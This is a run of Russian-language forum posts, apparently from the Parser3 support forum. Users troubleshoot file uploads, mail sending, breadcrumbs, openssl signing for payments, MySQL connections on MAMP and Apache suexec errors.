Нашёл несколько примеров [url=\"http://www.parser.ru/docs/lang/?lesson3.htm\"]Image (класс)[/url]  Класс ниочём, функционал нулевой...\
\
[url=\"http://www.kulikoff.net/parser3/img/\"]Классы для работы с изображениями[/url]\
Этот пример жутко не удобный, так как приходиться использовать сторонние библиотеки, когда появиться метод Parser...\
\
Уверен такой класс существует, почему не выкладывают в общий доступ, приходится изобретать велосипед."
"74846","... и, что называется, в духе Парсера. Практика показывает, что этого более, чем достаточно. Насколько мне известно в планах есть интеграция в Парсер библиотеки Free Image, но вряд ли это произойдет очень быстро, если, конечно, вы за это не возьметесь раз есть реальная потребность и внешние программы начинают проседать под нагрузкой. :)\
\
p.s. И тон вашего сообщения мне кажется, мягко-говоря, не совсем корректным. Особенно в форуме проекта с открытым кодом."
"74847","Здравсвуйте!\
Помогите пожалуйста разобраться в чем причина...\
Необходима загрузка файлов на сервер с раширением .swf\
Такая конструкция заливает файл, но он становиться какбы текстовым, т.е. его можно открыть текстовым редактором и там будет название файла, а мне нужно чтобы файл оставался флешем.\
 \
<form method=\"POST\">\
<input type=\"file\" name=\"game\" /><br />\
<input type=\"submit\" value=\"Отправить\" name=\"post\" /> \
</form>\
^if(def $form:game){\
   ^form:game.save[text;/games/flash/^file:basename[/games/flash/$form:game]]\
Файл $form:game загружен на сервер. \
}"
"74849","Спасибо.\
Я понимаю, сейчас 2:20 ночи, но пожалуйста по-подробнее..."
"74851","Хотел схалявить сначала с dbm, но тянуть разное, собирать... экпорт-конверт... поленился, накатал на Си.\
\
Всё заработало, коннект через сокет, соединение постоянное, с пингом на всякий случай и реконнектом в опциях.\
\
Парсеровский разбор с финальным редиректом уже делал, не очень красиво, это был бы уже третий редирект, страшно для пугливых поисковиков :).\
\
Спасибо!"
"74852","Извините за тон, писалось на эмоциях может кому и пакозалось, извините...\
С работой над графичискими файлами, нахватался, устал бороться всё очень тяжело и со скрипом... Подобная работа на php решаеться очень элегантно и легко. Почему сравниваю с php, потому как считаю Parser альтернативой. \
\
В оснонвном требуеться загрузить графический файл, изменить размер,работа с форматами (ну для кого может и водяные знаки)...\
Было бы отлично если в будущем появился класс, который можно было бы использовать без сторонних библиотек...\
Может кто эти задачи научился решать проще поделитесь, пожалуйста?"
"74853","Да, спасибо с этим я разобралась.\
Но теперь при отпоравки выпадает ошибку, в логах пишет \
'basename' is 'file', it has no string representation [parser.runtime] [uri=/admin/games/, method=POST, cl=796924]\
\
\
\
^MAIN:dbconnect{\
$catalog[^table::sql{select distinct catalog_rus from a_books}]\
}\
<form method=\"POST\" enctype=\"multipart/form-data\">\
^catalog.menu{\
<input type=\"radio\" name=\"type\" value=\"$catalog.catalog_rus\" />$catalog.catalog_rus<br />\
}\
<div style=\"font-size: 0.8em\">Новый раздел<br />\
<input name=\"type\" />\
</div>\
<div style=\"font-size: 0.8em\">Название игры<br />\
<input name=\"game_name\" />\
</div>\
<input type=\"file\" name=\"game\" /><br />\
<input type=\"submit\" value=\"Отправить\" name=\"post\" /> \
</form>\
^if(def $form:post && def $form:type && def $form:game_name){\
   ^form:game.save[text;/games/flash/^file:basename[$form:game]]\
Файл $form:game загружен на сервер. \
\
^MAIN:dbconnect{\
^void:sql{insert into a_books (catalog_rus, game_name, file_name) values ('$form:type', '$form:game_name', '$form:game')}\
}\
}\
\
Помогите разобраться в чем тут косяк, я уже готова бросить все."
"74854","В $form:game приходят бинарные данные (файл), поэтому  сохранять надо так:\
[code]^form:game.save[binary;/games/flash/$form:game.name][/code]\
\
Но лучше сохранять на диск не с пользовательским именем файла, а генерировать новое (например, через math:guid).\
В базу писать этот guid и $form:game.name"
"74855","В PHP, насколько помню, используется GD — внешняя библиотека.\
И это очень хорошо. Зачем в языке привязка к конкретной библиотеке? Кому-то по задачам и душе лучше ImageMagick, кому-то Nconvert и т.д.\
Все задачи с изображениями делаются просто, если написан подходящий класс для языка.\
Таким и является [url=\"http://www.kulikoff.net/parser3/img/\"]класс Den'а[/url]. Если Вам не хватает его функционала — дописать не проблема. Или написать свой класс."
"74856","Огромнейшее СПАСИБО, Misha v.3 и Vint!\
Вот полностью рабочий код(может кому-нибудь пригодится)\
Единственное, что я не поняла это про math:guid и как его использовать, но это в силу малоопытности.\
Vint, распишите пожалуйста, может действительно так лучше будет.\
Еще раз спасибо.\
\
^if(def $form:post && def $form:type && def $form:game_name){\
   ^form:game.save[binary;/games/flash/$form:game.name]\
}{\
\
}\
^if($form:game){\
^MAIN:dbconnect{\
^void:sql{insert into a_books (catalog_rus, game_name, file_name) values ('$form:type', '$form:game_name', '$form:game.name')}\
}\
}\
^MAIN:dbconnect{\
$catalog[^table::sql{select distinct catalog_rus from a_books}]\
}<form method=\"POST\" enctype=\"multipart/form-data\">\
^catalog.menu{\
<input type=\"radio\" name=\"type\" value=\"$catalog.catalog_rus\">$catalog.catalog_rus<br />\
}\
<div style=\"font-size: 0.8em\">Новый раздел<br />\
<input name=\"type\" />\
</div>\
<div style=\"font-size: 0.8em\">Название игры<br />\
<input name=\"game_name\" />\
</div>\
<input type=\"file\" name=\"game\" /><br />\
<input type=\"submit\" value=\"Отправить\" name=\"post\" /> \
</form>"
"74857","При попытке отправить почту из метода @auto[] в ОС windows ВСЕГДА выдаётся ошибка \"MAIN:MAIL.SMTP not defined\".\
\
* ошибка замечена ТОЛЬКО в ОС Windows, под *nix почта отправляется.\
* отправка почты вне @auto[] работает нормально \
\
Можно с этим что-то сделать в будущих сборках?"
"74858","Речь про auto.p, классы, html-файлы?"
"74859","* метод auto[] в auto.p в корне сайта"
"74860","Про math:guid это я так, о своём задумался:-)\
\
Неизвестно где и кем будет использоваться этот загрузчик файлов, поэтому сложно дать какой-либо конкретный совет.\
На данный момент код действительно рабочий.\
\
P.S.: Пожалуйста, оформляйте свой код в сообщениях с помощью специального тега code."
"74861","Под Unix и под Windows отправка почты работает принципиально по-разному, и под Windows обязательно надо задавать имя SMTP сервера.\
http://www.parser.ru/docs/lang/?parserconfmethod.htm"
"74862","если при вызове из /auto.p|@auto[] НЕ работает, а при вызове из любого другого места работает, значит наверное SMTP задан.\
\
P.S. я пока не проверял воспроизводимость бага."
"74864","Установите ImageMagick, GraphicMagick или NConvert, если у вас их еще не установлено.\
\
И работайте с ними через ^file::exec.\
\
Проще не бывает."
"74865","Если из @auto[] проверить значение $MAIN:MAIL.SMTP - оно задано правильно. А ^mail:send[]  из @auto[] всё равно выдаёт ошибку. \
\
Если тот же самый ^mail:send[] перенести из @auto[], например, в @main[] - отправка работает без проблем. \
\
Понятно, что если всё работает на unix, а в windows выдаёт ошибку, то это связано с особенностями parser под windows. \
\
А хотелось бы, чтобы работало и в windows тоже : )"
"74866","* т.е. я хотел сказать, что знаю про @conf[] и в нём SMTP задан правильно. Если проверить значение $MAIN:MAIL.SMTP то внутри @auto[] в auto.p оно выдаётся то же, что задано в @conf[].\
\
но метод ^mail:send[], вызванный из @auto[] в auto.p под WINDOWS ВСЕГДА ВЫДАЁТ ОШИБКУ \"MAIN:MAIL.SMTP not defined\" , НЕСМОТРЯ НА ТО, ЧТО В @conf[] СЕРВЕР ЗАДАН, И $MAIN:MAIL.SMTP СОДЕРЖИТ ПРАВИЛЬНОЕ ЗНАЧЕНИЕ."
"74867","Как отправить письмо через внешний mail-сервер? Например, gmail.\
\
В документации вижу только, что можно указать SMTP.\
А как насчет других параметров? Пароль, порт, ssl"
"74868","Закладываю логику для построения меню для контента и для отдельного модуля галереи, собственно возник вопрос о хлебных крошках, да и вообще о построении пути от конечной точки до корня.\
Я вижу два метода\
1. Это получить все и уже в самом парсере строить крошки, что в принципе прокатит для контента при условии что его там будет не шибко много.\
2. Это рекурсивно делать запросы в базу, данный метод оправдает себя при большом количестве элементов, что подходит для галереи. Но при большой вложенности увеличит количество запросов к базе, это меня и смущает.\
Может у вас будет более подходящие варианты?"
"74869","Универсальных подходов нет, вам предстоит их придумать, ориентируясь на ваши данные и их структуру.\
\
Скажем, пришли на страницу отдельного изображения.\
Изображения лежат в альбомах, галерея — подраздел сайта.\
\
В градуснике должно быть так: Галерея / [Заголовок-альбома] / [Заголовок-изображения]\
\
На каждое изображение известен альбом, в котором оно находится, собственный заголовок изображения также известен. Нужно достать его заголовок и информацию, необходимую для создания ссылки (ID или часть пути).\
Название раздела галереи может быть динамическим, тогда его нужно достать, скажем, из таблицы структуры сайта, или статическим.\
Для простоты считаем статическим.\
\
Заголовки известны, URL для каждого из уровней формируем исходя из общих принципов (вручную, метод-маршрутизатор и т.п.).\
Остаётся составить цепочку из ссылок в HTML-коде страницы.\
\
Всё зависит от архитектуры приложения, данных и их структуры.\
Вам нужно решить, откуда в каждом из случаев брать нужную информацию и как наиболее универсально генерировать градусник (для этого подойдёт спец.метод, принимающий список частей в нужном порядке)."
"74870","На данный момент, использую модифицированную систему, от местного учителя, который сделал её на основе уроков в документации. Переделал её под свои нужды).\
Получается пока так.\
Есть корневой авто.п в котором подключается темплейт, и вызываются методы типа боди, хедер, футер. В теплейте вызываются методы, который расположены в обычных страницах(контент). А всякие динамические части работают через мод реврайт. В общем устал я от таких костылей. Все смотрю в сторону MVC, почитываю классы PF. Но они тяжко даются. Вот именно под классы PF и хочу написать модули для контента и галереи, они используются в большинстве проектов. Думаю пока над логикой."
"74871","Всё, что вам нужно сделать — сформировать последовательность ссылок.\
Как вы их получите — зависит целиком от вашего приложения.\
Сгенерировать строку — тривиально.\
\
Самый простой путь: заведите метод, скажем:\
[code]@printBreadcrumbs[]\
$result[][/code]\
\
Добавьте его вызов в шаблон по умолчанию.\
\
Соответственно он ничего не будет печатать, пока не будет переопределён где-либо.\
\
В галерее делаете:\
[code]@printBreadcrumbs[]\
$result[Галерея][/code]\
\
У альбома:\
[code]@printBreadcrumbs[]\
$result[<a href=\"/gallery/\">Галерея</a> / $album.name][/code]\
\
У изображения:\
[code]@printBreadcrumbs[]\
$result[<a href=\"/gallery/\">Галерея</a> / <a href=\"/gallery/$album.id/\">$album.name</a> / $picture.name][/code]\
\
И всё.\
\
Лучше, конечно, если есть некий маршрутизатор, который хотя бы занимается формированием адресов.\
Ещё лучше, если будет наследование, тогда дублирования кода стало бы меньше.\
Ну и ещё сто одно улучшение."
"74872","/gallery/album.id/album.id/album.id/album.id/album.id/album.id/фото.jpg\
Вот при такой вложенности получается что надо или получить все содержимое в парсер и там разбирать что за чем. Или делать на каждый айди зарпос в базу. А вложенность может быть любая."
"74873","В примерах есть.\
Вы спрашиваете не о том."
"74875","... Но никто не мешает вызвать внешний скрипт. И чем собственно sendmail'то не устраивает?"
"74876","спасибо за ответ!\
\
sendmail не устраивает во-первых тем, что его нет.\
\
во-вторых, тем, что сайт находится на одном сервере, а почтовый сервер - на другом (в данном случае gmail). и по идее здесь внутренний sendmail вроде бы и вообще лишнее звено...\
\
и я не уверен, что sendmail сможет отправить письма от домена, mx запись у которого указывает на другой сервер.\
\
с внешним скриптом - как то я это смутно представляю..."
"74877","... если, конечно, хостер что-то не намутил с конфигами.\
\
Если все-таки хочется странного, то можно написать скрипт на Питоне, которому для простоты передавать на вход какой-нибудь xml с письмом и отправлять почту через [url=http://docs.python.org/release/2.7/library/smtplib.html#smtplib.SMTP]smtplib[/url].\
\
p.s. И почему на хостинге нет сендмейла? Он на Виндоус? Тогда у хостера наверняка есть собственный smtp-сервер через который можно отправлять письма без всякой авторизации (по ip-сервера)."
"74878","и вроде исправно отправляет теперь! \
Хотя, кажется, архитектурно не совсем правильно, что он отправляет почту от домена, у которого почтовый сервер по mx-записям расположен где-то в другом месте.\
\
ну и думал, что в парсере можно все-таки как-то указать внешний почтовый сервер - как в других языках.\
\
Спасибо за разъяснения!"
"74879","Может я не так что-то написал, в общем пока подумаю над тем как собрать мысли в кучу и потом буду вопросы задавать."
"74881","[quote]Хотя, кажется, архитектурно не совсем правильно, что он отправляет почту от домена, у которого почтовый сервер по mx-записям расположен где-то в другом месте.[/quote]\
\
Да нет, это вполне распространенная практика. Большинство unix-серверов в интернете рассылают письма напрямую.\
\
[quote]как-то указать внешний почтовый сервер[/quote]\
\
В данном случае будет мало указать внешний почтовый сервер. Без авторизации gmail вам отправить письмо все равно не даст. Причем в идеале по шифрованному соединению (чтобы авторизацию не подслушали). Парсер такое не поддерживает, хотя можно добавить в планы."
"74882","Хотелось бы иметь инициализацию @auto для каждой части класса при подключении.\
Сейчас @auto работает только в первой подключённой части.\
\
Вроде бы, это не противоречит отключённому наследованию @auto в версии 3.4.1."
"74883","Прошу помочь. Сам я не очень шарю в вопросах openssl. Но изучил инфу, что речь идет о подписании дайджества RSAviaSHA1. Я понял, что нужно установить openssl. Я сделал файл на php и посмотрел, что модуль openssl подключен. Как мне узнать к нему путь?\
\
Сам сайт на парсере, я его делал. Система юниксовая. Обращаюсь сюда, поскольку предстаувители компании кардинга эстонцы, и они не могут мне помочь, а провайдер хостинга хц, но и они пока футболят. \
\
Можут дадите совет или направление. Спасибо."
"74884","В первую очередь алгоритм цифровой подписи.\
\
Если говорить об общем принципе, то надо будет написать sh-скрипт, который будет вызывать openssl с нужным набором параметров."
"74885","Провайдеру среди прочих параметров сделки передается параметр MAC, который RSA with SHA-1 (SHA1withRSA).\
\
MAC=RSA(prikey, SHA1(ver+id+ecuno+eamount+cur+datetime))\
\
А разве нельзя вызвать как обычный исполняемый файл с помощью парсера?"
"74886","Запустите из консоли \"whereis openssl\", а потом посчитайте путь относительно document-root и вызывайте... Или сделайте sh-скрипт. :)"
"74887","А может вы поможете это реализовать. За вознаглаждение? А то я зашиваюсь."
"74888","Пять минут поиска в яндексе дали ссылку на неплохое описание - http://www.codealias.info/technotes/openssl_rsa_sign_and_verify_howto\
Еще минут 10 уйдет на то, чтобы разобраться как пихнуть в openssl подпись через stdin."
"74889","Ладно, будем разбираться. А что значит RSA(prikey, SHA1(ver+id+ecuno+eamount+cur+datetime))?\
\
Использовать приватный ключ и секретную строку, правльно я понял? Которая записывается как есть: 1+2+3.. да?"
"74890","Детали наверняка вам смогут подсказать те люди, которые предоставляют API."
"74891","Знаю, тема поднималась много раз уже… однако нужна помощь.\
\
1) Дано MacOS X 10.6 x86, 64-bit с MAMP; Parser 3.4.1;\
\
2) В библиотеке lib лежат: libparser3mysql.so и скаченный libmysqlclient.18.dylib (скачал с mysql.com/downloads/mysql). Пути к файлам в конфиг файле указаны верно. Тестовая страница их видит. До этого пробовал разные libmysqlclient.so файлы. Та же беда.\
\
3) Логин, пароль, хост, протокол, имя БД указано верно. Проверил 5 раз.\
\
Тем не менее ошибка при подключении БД:\
На тестовой странице: [i]Can't connect to SQL server. Probably wrong username/password combination or incorrect connection string.[/i]\
\
Десять раз перечитал &#8594; http://www.parser.ru/forum/?id=63264\
\
В чем ошибка? За что меня наказывает Бог? На второй вопрос можно не отвечать :-/"
"74893","$SQL.connect-string[mysql://root:root@localhost:8889/db?charset=cp1251]"
"74894","... что и куда кладете, что прописано в конфигах про библиотеки, проверьте битность Парсера, libparser3mysql, libmysqlclient. Кроме того интересно какой командой проверяли работоспособность базы из консоли."
"74895","Такой порт - это специально? Обычно у mysql порт 3306, его можно и не указывать."
"74896","Это не я, это MAMP назначил. Пробовал его и не указывать. Один результат."
"74897","Версия Parser 3.4.0 MAC OS,\
\
Приходит число - 53463372104081409, преобразую в double\
\
$id[53463372104081409]\
^id.double[]\
\
И получаю 53463372104081408\
\
Как так?"
"74898","http://www.parser.ru/docs/lang/?intdoubleclasses.htm\
\
\"Класс double обычно имеет 15 значащих цифр и не гарантирует сохранение цифр в последних разрядах. Точное количество значащих цифр зависит от используемой вами платформы.\""
"74899","Правда не думаю, что дело именно в нем."
"74902","http://www.parser.ru/forum/?id=72024"
"74904","Возможно я просто не в курсе или не обладаю достаточными навыками, но у меня это занимает... несколько больше :)\
не поделитесь, случайно, знаниями?"
"74905","http://www.andreyshipilov.ru/:3/font2gif.exe — пожалста, программка.\
\
http://www.mailpic.ru/ — тут все шрифты сделаны ей."
"74907","... http://en.wikipedia.org/wiki/Double_precision\
\
Еще надо помнить, что операции с числами с плавающей точкой дают \"приблизительный результат\", который не подходит, если необходимы точные расчеты, например, для денег. В этом случае надо обязательно задавать правила округления, а в БД использовать тип decimal."
"74912","Или забыли поменять? sumo в общем правильный вопрос задал:\
\
\"Кроме того интересно какой командой проверяли работоспособность базы из консоли.\""
"74913","По информации из некоторых (достаточно компетентных) источников мне стало известно, что в середине марта увидит свет новая версия.\
\
Из нововведений: поддержка модификаторов доступа (public, protected, private), перегрузка методов, интерфейсы, абстрактные классы и многие другие вкусности.\
\
Я рад, что наконец-то Парсер будет настоящим объектно-ориентированным языком. \
\
Какие еще нововведения будут, чего ждать?\
\
Спасибо."
"74914","http://www.parser.ru/forum/?id=72233 :)\
\
p.s. Тем более, что Парсер уже сейчас настоящий объектный, а не какой-то там \"объектно-ориентированный\" язык."
"74915","т.к. разработчики решили изменить схему нумерации версий на более модную: Parser 2011, Parser 2012 и т.д."
"74916","К слову, файл из скаченного с mysql.com архива нужно ведь просто скопировать в свою директорию? Или там какую-нибудь хитрожопую инсталляцию ему нужно делать?"
"74917","На всякий случай создал другую. Same shit."
"74918","В Библии (FAQ) написано:\
++++++++++++++++\
Допустим, данные в вашей базе хранятся в кодировке UTF-8, а сайт работает в кодировке windows-1251, в этом случае нужно использовать следующую строку подключения: \
mysql://user:password@host/database?charset=cp1251\
++++++++++++++++\
У меня же: \
$response:charset: WINDOWS-1251\
$request:charset: WINDOWS-1251\
А БД в utf8.\
\
Может исповедь поможет? :)"
"74919","1) Битность — check! (64 бит Парсер; libparser3mysql; libmysqlclient)\
\
2) Библиотека — check!\
++++++++\
$confdir[^file:dirname[$filespec]]\
$charsetsdir[$confdir/charsets]\
$sqldriversdir[$confdir/lib]\
...\
mysql	$sqldriversdir/libparser3mysql.so	$sqldriversdir/libmysql.16.0.0.dylib\
++++++++\
И вот так:\
$SQL.connect-string[mysql://root:root@localhost:8889/parser?charset=cp1251]\
\
3) БД — check! \
Взял и закинул обычный test.php в корень. Запустил. Все работает: создал 10 таблиц в базе parser.\
++++++++\
<?\
Error_Reporting(1+2+4);\
define(\"DBName\",\"parser\");\
define(\"HostName\",\"localhost\");\
define(\"UserName\",\"root\");\
define(\"Password\",\"root\");\
if(!mysql_connect(HostName,UserName,Password)) \
{ echo \"Не могу соединиться с базой \".DBName.\"!<br>\"; exit; }\
@mysql(DBName,\"create table test(id int,a text)\");\
// Вставляем в таблицу 10 записей\
for($i=0; $i<10; $i++) \
{ $id=time();\
mysql(DBName,\"insert into test(id,a) values($id,'Строка $i!')\");\
} \
?>\
\
Вы знаете, как я себя уже ненавижу? :-/"
"74920","Это форк Парсера, и выпущен он не Студией Лебедева, а 1С. В него добавлена интеграция с 1С 8.2 Enterprise, поддержка мультидисплейных систем, в т.ч. HDMI 1.4+Ethernet. И главное - он полностью гипертекстовый!"
"74921","да и вообще пора вслед за хромом уже 11 выпускать :)"
"74923","Жаль что не со всеми кириллическими шрифтами работает, но очень помогло. Спасибо большое"
"74925","Читаю оффлайн доку и не видел. \
Как только выложили нашел поиском по форуму и так далее.\
Стыд, позор, пепел, голова, епитимья"
"74926","Да, так должно работать\
[code]\
$SQL[\
$.drivers[^table::create{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	$sqldriversdir/libmysqlclient.16.dylib\
}]\
]\
[/code]\
\
Только в хитропопость в том, что если в .htaccess указать \
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser/parser3.4.1.cgi\
то браться парсер, настройки и либы будут из /Applications/MAMP/cgi-bin/parser,\
а не из ../cgi-bin/parser/\
Но на это надо обращать внимание на virtualhost, на localhost оно как ты понимание родное.\
\
Вообще я припоминаю, что когда ставил MAMP были траблы с настройкой базы и долго эксперементировал с libmysql.16.dylib. Насколько я помню у меня был затык именно с ним и его местораположением."
"74927","Еще как то можно понять использование win-1251 если ты на IIS. Изыди нечистая! Аминь.\
Но если ты на Маке...Алилуйяяя!! У которого utf-8 родная стихия и сервер твой собрат юникса, то забудь об пережитке в win-1251 как о страшном видении.\
\
Просто работай в utf-8 и будет тебе успокоение.\
[code]\
	$request:charset[utf-8]\
	$response:charset[utf-8]\
[/code]\
и даже неверные сервера, присылающие данные в неверных кодировках, не будут проблемой для тебя."
"74932","Все заработало.\
В довершении пришлось использовать путь к сокету:\
$SQL.connect-string[mysql://root:root@[/Applications/MAMP/tmp/mysql/mysql.sock]/p3test]\
+++++\
$SQL.connect-string[mysql://root:root@localhost/p3test] Работать отказывается.\
\
Спасибо огромное. Пойду свечечку за Ивана Сергеева поставлю."
"74933","Ах елкин, запамятовал про это.\
К хорошему так быстро привыкаешь... И про то, что это когда то было проблемой, очень быстро забывается.\
Удачи вам!\
\
P.S. Скоро выложу 3-ю версию расцветки/автокомплита для парсера в Coda. Оно теперь стало умнее и ух, аж немогу как лучше. Может и вам поможет."
"74936","Как округлить полученное число с точностью два знака после запять?"
"74938","Марта? ;)"
"74940","Я просто давно не пользовался, на самом деле. А что уже сделали?"
"74941","День добрый, проблема собственно в чем... Все делал как всегда, залил права установил пробую запустить тест, а тут проблемы. Начал смотреть в логи, а там:\
\
[Mon Apr 04 12:02:14 2011] [error] [client 77.121.116.44] (13)Permission denied: exec of '/usr/sbin/suexec' failed\
[Mon Apr 04 12:02:14 2011] [error] [client 77.121.116.44] Premature end of script headers: parser3.cgi\
[Mon Apr 04 12:02:14 2011] [error] [client 77.121.116.44] File does not exist: /var/www/filestore.name/filestore/favicon.ico\
\
тоесть не понятно мне, проблема в версии парсера \"Premature end of script headers\" или все таки есть другая проблема suexec. \
\
при обращении из консоли к парсеру говорит:\
\
[root@filestore parser3]# ./parser3.cgi\
./parser3.cgi: file not specified\
Parser/3.4.1 (compiled on i686-pc-linux-gnu)\
Copyright(c) 2001-2009 ArtLebedev Group (http://www.artlebedev.com)\
Author: Alexandr Petrosian <paf@design.ru> (http://paf.design.ru)\
\
Usage: ./parser3.cgi [options] file\
Options are:\
    -f config_file  Use this config file (/path/to/auto.p)\
    -h              Display usage information (this message)\
\
тоесть как бы по виду должно работать, но никак... подскажите пожалуйста в какую сторону рыть если есть идеи."
"74942","Скорее всего, неправильно установлены права. Посмотрите, какие пользователь/группа написаны в конфиге апача и с какими собран suexec\
[code]suexec -V[/code]\
\
На собственном сервере (VDS) можно вообще от suexec отказаться. Проблем больше, чем пользы."
"74943","Если на сервере есть suexec_log, то посмотреть в него."
"74944","в логе вот что:\
[2011-04-04 12:46:10]: too few arguments\
\
но... мне к сожалению ни о чем это не говорит, может Вам поможет понять суть моей проблемы..."
"74945","на счет прав suexec -V:\
[root@filestore httpd]# suexec -V\
 -D AP_DOC_ROOT=\"/var/www\"\
 -D AP_GID_MIN=100\
 -D AP_HTTPD_USER=\"apache\"\
 -D AP_LOG_EXEC=\"/var/log/httpd/suexec.log\"\
 -D AP_SAFE_PATH=\"/usr/local/bin:/usr/bin:/bin\"\
 -D AP_UID_MIN=500\
 -D AP_USERDIR_SUFFIX=\"public_html\"\
\
на счет прав на парсер:\
 root     apache 1495180 Apr  4 05:52 parser3.cgi\
\
пробовал менять пользователя парсера на apache и www-data, но результат аналогичный  \
\
как можно от суекзека отказаться? надо наверняка пере собирать парсер, что кстати тоже не совсем получилось на на этом впс, но это уже совсем другая история =)"
"74946","Сайт лежит в подпапке /var/www?"
"74947","Извините, этого \"В апаче директива SuexecUserGroup указана корректно?\" не понял. Где можно проверить?\
\
Сайт лежит в подпапке /var/www?\
- Да, /var/www/example.com/"
"74948","Заодно обратите внимание, что лучше создать своего юзера и пускать виртуальный хост из под него (suexec собран с gid-min и uid-min, которые не дадут использовать юзеров root и www).\
\
p.s. В принципе можно забить на suexec, как \"советует\" Vint, и найти в форуме принцип именования grpunlim-версий Парсера, которые тоже собраны. Но лучше все-таки не пренебрегать безопасностью и настроить нормально Апача."
"74949","[quote]лучше создать своего юзера и пускать виртуальный хост из под него[/quote]\
что означает пускать виртуальный хост из под него? пользователся создам и изпод него запускать парсер или что еще поставить до этого нового юзера?"
"74950","Отказ от suexec != использование grpunlim-версии (это точно не выход)."
"74951","Реально интересно, что народ на практике использует в Апаче, кроме suexec'а."
"74952","Хотя бы с той ссылки, которую я привел."
"74953","Не знаю, зачем там что-либо использовать. Апач самодостаточен:-)"
"74954","Т.е. убрали суэкзек, используем safe-версию Парсера и..."
"74955","Если все сайты работает под одним пользователем, его и пишем в конфиг apache вместо httpd. Локально на своих машинах всегда так делаю, даже как-то раз на хостинге делали (чтобы убрать лишний fork от suexec)."
"74956","...и?:-)\
Может я о чём-то не догадываюсь, но какие проблемы могут возникать в этом случае?\
\
Апач запущен под своим юзером, права на папки/файлы соответствующие."
"74957","Я не настолько верю своему коду. :)))"
"74958","Ну, если только этот пункт паранойи в оправдание:-)\
\
Но ведь и в suexec есть дыры.\
И mod_apache нельзя подружить с suexec, если не ошибаюсь.\
А ещё можно apache chroot настроить -- меньше форков будет."
"74959","Локально на своих машинах != на серверах.\
Речь о тех компьютерах, на которых сам работаю.\
От одного пользователя как-то проще работать. :)"
"74961","Спасибо всем за помощь в этой проблему, но все же, если будет свободная минутка - опишите пожалуйста по пунктам что надо сделать что бы заработало все как надо. А то уж нет сейчас совсем времени в мануал изучать, надо запустить проект как можно быстрее. Но обязательно постараюсь изучить его, что бы таки проблем возникало меньше. Спасибо все еще раз"
"74962","... почему-то не считаете возможным показать конфигурационные файлы Апача и не рассказываете, что, куда и как кладете. Как в этой ситуации помочь я не знаю.\
\
p.s. Главное, вы уже не первый год на форуме и знаете, что тут принято рассказывать подробности, а не пользоваться телепатией."
"74963","да, конечно, понимаю. но честно говоря даже не представляю что какие именно конфиги показать. вот к примеру виртуальный хосты (насколько я понял и мануала тут надо было suexec подцепить):\
\
<VirtualHost 194.28.132.107:8080>\
        ServerName filestore.name\
        DocumentRoot /var/www/filestore.name\
        SuexecUserGroup parser-usr parser-grp\
        CustomLog /var/www/logs/filestore.name.access.log combined\
        ErrorLog /var/www/logs/filestore.name.error.log\
        ServerAlias www.filestore.name *.filestore.name\
        ServerAdmin delrosario.ernesto@gmail.com\
        ScriptAlias /cgi-bin/ /var/www/filestore.name/cgi-bin/\
        php_admin_value open_basedir \"/var/www/filestore.name:.\"\
        php_admin_value sendmail_path \"/usr/sbin/sendmail -t -i -f delrosario.ernesto@gmail.com\"\
        php_admin_value upload_tmp_dir \"/var/www/filestore.name/tmp\"\
        php_admin_value session.save_path \"/var/www/filestore.name/tmp\"\
        AddType application/x-httpd-php .php .php3 .php4 .php5 .phtml\
        AddType application/x-httpd-php-source .phps\
        DirectoryIndex index.php index.html index.htm\
        AddDefaultCharset utf-8\
        VirtualDocumentRoot /var/www/filestore.name/%1\
</VirtualHost>\
\
на счет того куда что кидаю, так тут все просто впринципе, \"корень сайта/cgi-bin/parser3/\"\
\
вот сами файлы:\
-rw-r--r-- 1 parser-usr parser-grp    3447 Apr  4 22:01 auto.p\
drwxr-xr-x 2 parser-usr parser-grp    4096 Apr  4 22:01 charsets\
drwxr-xr-x 2 parser-usr parser-grp    4096 Apr  4 22:01 lib\
-rwxr-xr-x 1 parser-usr parser-grp 1495180 Apr  4 22:02 parser3.cgi\
\
какую еще информацию я могу показать что бы помочь понять проблему подскажите пожалуйста"
"74964","В том конфиге, что вы привели я ошибки не вижу. Правда я никогда не имел дело с mod_vhost_alias (директива VirtualDocumentRoot его) и не знаю какие могут быть эффекты от его наличия."
"74965","... а почему вы кидаете файлы в \"корень сайта/cgi-bin/parser3/\", а не в \"корень сайта/cgi-bin/\"?"
"74966","Как указано в конфиге. Я так понимаю, что реальный document-root не совпадает с дерективой DocumentRoot?"
"74967","Это сути проблемы не меняет. Изначально (и всегда ранее) делал так как Вы говорите, но сейчас уже попробовал по другому. Подумал что может это может помочь, вчера была ошибка вроде \"...is already configurated...\", вот и подумал что какаято с этим может быть проблема. может и глупо, но проблема точно не в этом, проверил =)"
"74968","/var/www/filestore.name/cgi-bin/ - именно тут он и лежит\
/var/www/filestore.name/cgi-bin/parser3/parser3.cgi"
"74969","Обработчиком устанавливаю в .htaccess и как-то никогда не задумывался на счет установки этой директивы в vhosts конфиге"
"74970","mod_vhost_alias отключается у них в админ панели сервера. вчера также пробовал ее отключать. результат тотже"
"74971","Хочется видеть не рассуждения, а конфиги и какие-то осознанные действия, но их от вас добиться не получается. :("
"74972","осознанных действий нет, по простой причине - понятия не имею что делать сейчас. да и конфиги какие показать тоже не особо понимаю. извини и спасибо за помощь"
"74973","Кстати, вспомнил, может какието проблемы дает то что \"Кеширующий web-сервер nginx\" включен на сервере? или это тоже никак не может быть связано?"
"74974","Здравствуйте!\
\
На Инфобоксе решили побороться за безопасность и отключили доступ к файлу /proc/self/stat \
Насколько я понял по форуму, такая проблема поднималась очень давно и решалась пересборкой парсера. К сожалению, аккаунт на инфобоксе - обычный и там даже ssh нет. Есть ли возможность где-то скачать такую версию Парсера, которая не будет к этому файлу обращаться?"
"74975","Возможно, что проблема связана с чем-то еще."
"74976","А в чём она может быть? У меня доступа к системе нет никакого, хостер говорит, что новая версия всё равно продолжает обращаться к этому файлу. В логе я вижу:\
Couldn't read /proc/self/stat\
Premature end of script headers: parser3.cgi \
\
Может быть хостер использует какие-то старые библиотеки, которые не понимают этого ключа?"
"74977","rusage используется? А если попробовать не использовать? Или даже 2+2 валится (note: rusage может вызываться из auto.p)?"
"74978","Я вообще с парсером не знаком. Посмотрел, что такое rusage, - нет на этом сайте оно не используется. А что такое 2+2?"
"74981","FreeBSD 8.2-RELEASE amd64\
\
При сборке:\
